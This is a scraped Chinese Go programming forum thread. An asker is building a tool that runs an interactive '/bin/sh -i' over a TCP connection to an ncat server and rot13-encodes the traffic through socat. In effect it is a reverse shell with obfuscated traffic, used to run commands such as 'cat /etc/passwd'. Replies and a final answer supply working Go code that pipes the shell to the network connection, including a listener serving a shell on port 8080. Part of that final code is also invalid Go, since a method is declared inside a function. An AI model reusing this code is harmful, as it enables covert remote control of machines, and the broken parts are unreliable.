Golang中Socket连接问题该如何解决

Golang中Socket连接问题该如何解决 问题: 我无法成功从交互式会话(交互式 shell)中获取字节、捕获它们、处理它们,然后将它们发送到服务器。

目标: 捕获 cmd.Stdout 的所有字节,使用此函数 https://gist.github.com/xlab/6e204ef96b4433a697b3#file-bytes_split-go(第一个函数)对它们进行分割,然后才将数据块发送到服务器。

原始代码行:

	cmd := exec.Command(binPath, "-i") // /bin/sh -i    
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	cmd.Run()

一旦客户端连接到服务器,如果我运行任何命令,我会得到输出。如果我运行任何不存在的命令,我会得到 stderr。所以,一切工作正常。

为了实现我想要的目标,我尝试了不同的方法,但经过一些测试和调试后,我认为我终于明白了为什么我尝试的所有方法都不起作用:因为它是一个交互式 shell,而不是一个简单的命令……但我不知道在我的情况下如何做同样的事情。实际上:

	cmd := exec.Command(binPath, "-i") // /bin/sh -i    
	cmd.Stdin = conn
	//cmd.Stdout = conn
            *****
	stdout := new(bytes.Buffer)
	cmd.Stdout = stdout
	gotthem := stdout.Bytes()
    conn.Write(gotthem)
            *****
	cmd.Stderr = conn
	cmd.Run()

我在服务器上获得了 shell,我可以输入任何不存在的命令来查看 Stderr 是否正常工作(确实如此),但我没有得到任何现有命令的输出。 这段代码理论上应该可以工作,但它没有,因为 gotthem 总是空的。所以我不会在服务器上得到任何输出。 我也尝试过在 cmd.Stdout 之前移动 cmd.Run(),加载缓冲区等等,但这破坏了一切。 为了更好地理解我的目标是什么,我粘贴一个无法工作的示例代码:

	cmd := exec.Command(binPath, "-i") // /bin/sh -i    
	cmd.Stdin = conn
	//cmd.Stdout = conn
            *****
	stdout := new(bytes.Buffer)
	cmd.Stdout = stdout

	gotthem := stdout.Bytes()
	trans := split(gotthem, 100)

	for _, s := range trans {
		    conn.Write(s)
	}
            ********
	cmd.Stderr = conn
	cmd.Run()

更多关于Golang中Socket连接问题该如何解决的实战教程也可以访问 https://www.itying.com/category-94-b0.html

13 回复

别担心!(: 遗憾的是我并没有解决它……

更多关于Golang中Socket连接问题该如何解决的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html


哦,哇,抱歉,我没能及时跟进这个帖子。你在这方面有什么进展吗?

恐怕我没有完全理解您的问题。命令的“Stdin”是您写入数据的地方,以便将数据发送给该命令。因此,您不需要捕获 cmd.Stdin,因为您已经拥有该数据——这正是您的代码发送给命令的内容。

您能否提供示例代码,展示您试图实现的目标以及它在何处失败?

@GoNE,快速浏览代码后猜测一下(我可能错了):

代码在调用 cmd.Run() 之前 调用了 stdout.Bytes()。此时缓冲区肯定还是空的。

顺便问一下,conn 是什么类型?将 cmd.Stdincmd.Stdoutcmd.Stderr 全部 连接到 conn 的目的是什么?

没问题,感谢您提供了预期的示例代码。

我猜,如果您像我的代码中那样使用 StdinPipe()StdoutPipe() 函数,您就可以非常方便地处理进出 shell 的数据流。

当一切在本地运行良好后,您可以添加服务器通信部分,应该就可以准备就绪了。祝您好运!

func main() {
    fmt.Println("hello world")
}

抱歉再次打扰,我想再请教一个技巧/示例: 你之前对 cmd.Stdout 的处理方式,如果同样应用于 cmd.Stdincmd.Stderr,你会怎么做? 如何捕获 cmd.Stdincmd.Stderr 的所有字节? 我尝试将你那个对 cmd.Stdout 效果极佳的示例也用于 cmd.Stderr,但效果不佳:我无法获取 stderr,而且交互式 shell 也无法正常工作。这感觉就像是 cmd.Stdin 出了问题。

感谢您的热心帮助!(:

shell 通过 stdout、stderr 发送字节 —> Go 工具进行 rot13 编码 —> socat 进行 rot13 解码 → ncat 服务器

ncat 服务器 —> socat 对命令进行 rot13 编码 → Go 工具对 stdin 进行 rot13 解码 —> Go 工具通过 stdin 将数据发送给 shell

这是正确的!我包含了 socat 只是为了更清晰地展示整体流程。 之前失败的部分是 cmd.Stderr,但我已经解决了。

关于 stdin 部分,我尝试了与您第一个示例相关的内容,但不得不恢复到其基本版本:cmd.Stdin = conn,因为其他方法都无效,哈哈。

啊,我真是太抱歉了!哈哈,我之前贴了一个想象中的例子来提醒自己一些事情。请忽略之前的链接,这才是那个(粗糙的)示例代码:https://play.golang.org/p/079lwPe63k4

顺便说一句,你理解了我的目标!我再补充一些信息:

我无法实现所有功能,因为我在第一部分就卡住了:获取在交互式 shell 中运行的命令的字节流。 感谢你的热心帮助!这比我想象的要难得多!哈哈

好的,让我仔细看看,但我必须承认,我仍然不太明白这个场景。

我理解你的Go代码启动了一个外部命令,并连接到该命令的 stdinstdoutstderr 流。

这个命令是一个类似 /bin/sh 的shell。我认为这个命令没有包含在你发布的图表中。这样展示shell的位置是否准确?

shell <—> golang 工具 <—> socat <—> ncat 服务器

由于socat只是一种字节流中继,为了简洁,我们可以将其从图表中移除。

shell <—> golang 工具 <—> ncat 服务器

根据我的理解,数据流如下:

shell 在 stdout、stderr 上发送字节 —> Go 工具执行 rot13 —> ncat 服务器

以及

ncat 服务器 —> Go 工具执行 rot13 —> Go 工具通过 stdin 将数据发送给 shell

这仍然正确吗?

你能分享处理 stdin 部分的代码,并解释一下它在哪里失败了吗?

你好!感谢你的回答!(:

“代码在调用 cmd.Run() 之前 调用了 stdout.Bytes()。此时缓冲区肯定是空的。”

你说得对,但在我的情况下它不起作用,因为这是一个交互式 shell!这正是让我抓狂的地方!哈哈 我将尽我所能解释我尝试过的内容以及我的理解。 这段代码 https://play.golang.org/p/yfEcqzrNNP5 是我实际工具某个早期版本的备份代码,但相信我,它和我现在用的那个真的非常相似(例如,handleConn 函数是一样的;连接客户端和服务器的部分也几乎一样)。这大致上能解释你问的所有问题(:

在我的第一次尝试中,我确实得到了输出,但仅仅是交互式 shell 本身的输出。我的意思是,在服务器上我得到了 shell,因为我看到了 $ 提示符,并且如果命令不存在我也会得到错误信息。但问题是,我得不到在交互式 shell 内部 运行的命令的输出。所以我只得到了一部分输出。就好像 stdout.Bytes() 只包含了 /bin/sh -i 的字节,而没有包含在 /bin/sh -i 内部启动的所有内容(例如:lswhoamicat /etc/passwd 等等……)的输出。

我当然也尝试了你说的办法,但它没有奏效。它甚至没有在服务器上生成 shell。

cmd := exec.Command(binPath, "-i") // /bin/sh -i    
cmd.Stdin = conn
//cmd.Stdout = conn
        *****
cmd.Run()
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
conn.Write(gotthem)
        *****
......

如果我把 cmd.Run() 从它实际的位置移开,整个程序就因为交互性而崩溃了,哈哈 aegbjkagbkeagavbhegh

这并不像看起来那么容易。我猜缓冲数据与此有冲突。 希望我解释清楚了。如果没有,请告诉我,我会再试一次(:

感谢您的回复! 很抱歉!我会尽力解释清楚。

这是基于我想法的示意图: |----------------------------------------------------------------------------------|

golang 工具 <—> socat rot13 编码/解码 <—> ncat 服务器

该工具运行一个到达服务器的 shell,因此我必须同时处理 stdout/in/err。 所以,简要来说:

  • cmd.stdin:应解码传入的 rot13 字节
  • cmd.stdout:应使用 rot13 编码输出字节(已实现且完全正常工作)
  • cmd.stderr:应使用 rot13 编码错误字节

rot13 函数是这个:https://play.golang.org/p/XPoR1k5-fDL

关于 cmd.stderr,这是我尝试过的:

func ERROBFprocessStream(aoi io.Reader, iao io.Writer) error {
	if aoi == nil {
		return errors.New("aoi is nil")
	}
	if iao == nil {
		return errors.New("iao is nil")
	}
	duf := make([]byte, 1024)
	for {
		n, err := aoi.Read(duf)
		if err != nil {
			if errors.Is(err, io.EOF) {
				break
			}
			return fmt.Errorf("error reading err output (%d bytes read): %w", n, err)
		}

		n, err = iao.Write(duf[:n])
		if err != nil {
			return fmt.Errorf("error writing err output (%d bytes written): %w", n, err)
		}

	}
	return nil
}

                .........

	        cmdStdout, err := cmd.StdoutPipe()
	        if err != nil {
		    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

	        }

	        cmdStderr, err := cmd.StderrPipe()
	        if err2 != nil {
		    fmt.Fprintf(os.Stderr, "error creating shell err pipe: %s\n", err)

	        }
                   
	        err = OBFprocessStream(cmdStdout, conn)
	        if err != nil {
		    fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)

	        }
	        err = ERROBFprocessStream(cmdStderr, conn)
	        if err != nil {
		    fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)

	        }
                .......

结果如下:(我不得不发布截图而不是文本,因为文本不够清晰)

image

在这个例子中,我没有实现 socat。 我找到的解决方案是:

cmd.Stderr = cmd.Stdout

我得到了正确编码的 cmd.Stderr,尽管交互式 shell 比以前慢了一点。只是出于好奇,在您看来,什么是一个好的解决方案?(: 关于 cmd.stdin,我不知道如何捕获和解码传入的 rot13 编码字节。

感谢您的解释和提供的游乐场代码。

根据游乐场代码,我了解到:

  • 代码会打开一个到服务器的TCP连接。
  • 代码会创建一个运行shell的本地命令。
  • shell的stdin会连接到TCP连接。

stdin被设置为TCP连接之后的代码部分,我不太理解——请参阅内联注释:

		var stdout bytes.Buffer // 一个空缓冲区
		cmd.Stdout = &stdout // cmd.Stdout 现在是一个指向空缓冲区的指针,类型为 io.Writer
		outStr := stdout.Bytes() // outStr 现在是一个空的字节切片
		z := bytes.NewBuffer(outStr) // z 现在是一个新的空缓冲区
		kk := io.Writer(z) // kk 现在是类型为 io.Writer 的 z,但在下一行被覆盖
		kk = conn // kk 现在是类型为 io.Writer 的 conn。kk.Write(...) 将写入到 conn
		if kk != nil {
			fmt.Println(kk) // 打印一个 io.Writer
		}

您最初的目标描述表明您希望实现以下功能:

  • 生成一个交互式shell
  • 通过该shell执行命令
  • 读取shell的stdout流
  • 处理该流
  • 将结果发送到服务器

出于好奇,我自己尝试了一下,我发现使用Cmd.StdinPipe()Cmd.StdoutPipe()可以方便地将shell的输入和输出连接到我的代码。

package main

import (
	"errors"
	"fmt"
	"io"
	"os"
	"os/exec"
)

func processStream(in io.Reader, out io.Writer) error {
	if in == nil {
		return errors.New("in is nil")
	}
	if out == nil {
		return errors.New("out is nil")
	}

	buf := make([]byte, 1024)
	for {

		n, err := in.Read(buf)
		if err != nil {
			if errors.Is(err, io.EOF) {
				break
			}
			return fmt.Errorf("error reading shell output (%d bytes read): %w", n, err)
		}

		n, err = out.Write(buf[:n])
		if err != nil {
			return fmt.Errorf("error writing shell output (%d bytes written): %w", n, err)
		}
	}
	return nil
}

func main() {
	shell := exec.Command("/bin/sh", "-i")

	shellStdin, err := shell.StdinPipe()
	if err != nil {
		fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
		os.Exit(1)
	}
	defer shellStdin.Close()

	shellStdout, err := shell.StdoutPipe()
	if err != nil {
		fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
		os.Exit(1)
	}

	err = shell.Start() // 不会阻塞
	if err != nil {
		fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
		os.Exit(1)
	}

	serverConnection := os.Stdout // 模拟服务器连接

	// 向shell发送命令
	go func(pipe io.WriteCloser) {
		cmds := []string{
			"echo hello",
			"ls -l",
		}

		for _, cmd := range cmds {
			fmt.Fprintln(pipe, cmd)
		}
		pipe.Close()
	}(shellStdin)

	// 读取shell输出,处理它,并将其发送到服务器
	err = processStream(shellStdout, serverConnection)
	if err != nil {
		fmt.Fprintf(os.Stderr, "error processing stream: %s\n", err)
		os.Exit(1)
	}
}

在Golang中处理交互式shell的Socket连接需要特殊处理,因为交互式shell的输出是流式的,不能直接使用bytes.Buffer一次性获取。以下是解决方案:

package main

import (
    "bytes"
    "io"
    "net"
    "os/exec"
)

// 分割函数(来自您提供的gist)
func split(buf []byte, lim int) [][]byte {
    var chunk []byte
    chunks := make([][]byte, 0, len(buf)/lim+1)
    for len(buf) >= lim {
        chunk, buf = buf[:lim], buf[lim:]
        chunks = append(chunks, chunk)
    }
    if len(buf) > 0 {
        chunks = append(chunks, buf[:len(buf)])
    }
    return chunks
}

func handleConnection(conn net.Conn) {
    defer conn.Close()
    
    cmd := exec.Command("/bin/sh", "-i")
    
    // 创建管道
    stdoutPipe, _ := cmd.StdoutPipe()
    stderrPipe, _ := cmd.StderrPipe()
    cmd.Stdin = conn
    
    // 启动命令
    if err := cmd.Start(); err != nil {
        return
    }
    
    // 处理标准输出
    go func() {
        buf := make([]byte, 1024)
        for {
            n, err := stdoutPipe.Read(buf)
            if err != nil {
                break
            }
            if n > 0 {
                chunks := split(buf[:n], 100)
                for _, chunk := range chunks {
                    conn.Write(chunk)
                }
            }
        }
    }()
    
    // 处理标准错误
    go func() {
        buf := make([]byte, 1024)
        for {
            n, err := stderrPipe.Read(buf)
            if err != nil {
                break
            }
            if n > 0 {
                conn.Write(buf[:n])
            }
        }
    }()
    
    cmd.Wait()
}

// 或者使用io.Copy配合自定义Writer
func handleConnectionWithWriter(conn net.Conn) {
    defer conn.Close()
    
    cmd := exec.Command("/bin/sh", "-i")
    
    // 创建自定义Writer
    type chunkWriter struct {
        conn net.Conn
    }
    
    func (cw *chunkWriter) Write(p []byte) (n int, err error) {
        chunks := split(p, 100)
        for _, chunk := range chunks {
            if _, err := cw.conn.Write(chunk); err != nil {
                return 0, err
            }
        }
        return len(p), nil
    }
    
    writer := &chunkWriter{conn: conn}
    
    cmd.Stdin = conn
    cmd.Stdout = writer
    cmd.Stderr = writer
    
    cmd.Run()
}

// 使用io.MultiReader的版本
func handleConnectionMultiReader(conn net.Conn) {
    defer conn.Close()
    
    cmd := exec.Command("/bin/sh", "-i")
    
    stdoutPipe, _ := cmd.StdoutPipe()
    stderrPipe, _ := cmd.StderrPipe()
    cmd.Stdin = conn
    
    if err := cmd.Start(); err != nil {
        return
    }
    
    // 合并stdout和stderr
    multiReader := io.MultiReader(stdoutPipe, stderrPipe)
    
    go func() {
        buf := make([]byte, 1024)
        for {
            n, err := multiReader.Read(buf)
            if err != nil {
                break
            }
            if n > 0 {
                chunks := split(buf[:n], 100)
                for _, chunk := range chunks {
                    conn.Write(chunk)
                }
            }
        }
    }()
    
    cmd.Wait()
}

关键点:

  1. 交互式shell的输出是流式的,需要使用管道(Pipe)而不是Buffer
  2. 必须使用cmd.Start()而不是cmd.Run()来异步处理
  3. 需要为stdout和stderr分别创建goroutine进行读取
  4. 分割函数需要在读取到数据后立即处理,而不是等待所有数据

对于服务器端代码:

func main() {
    listener, err := net.Listen("tcp", ":8080")
    if err != nil {
        panic(err)
    }
    defer listener.Close()
    
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleConnection(conn) // 或使用其他版本
    }
}

这个解决方案确保了交互式shell的输出能够被实时捕获、分割并发送到客户端,同时保持了shell的交互性。

回到顶部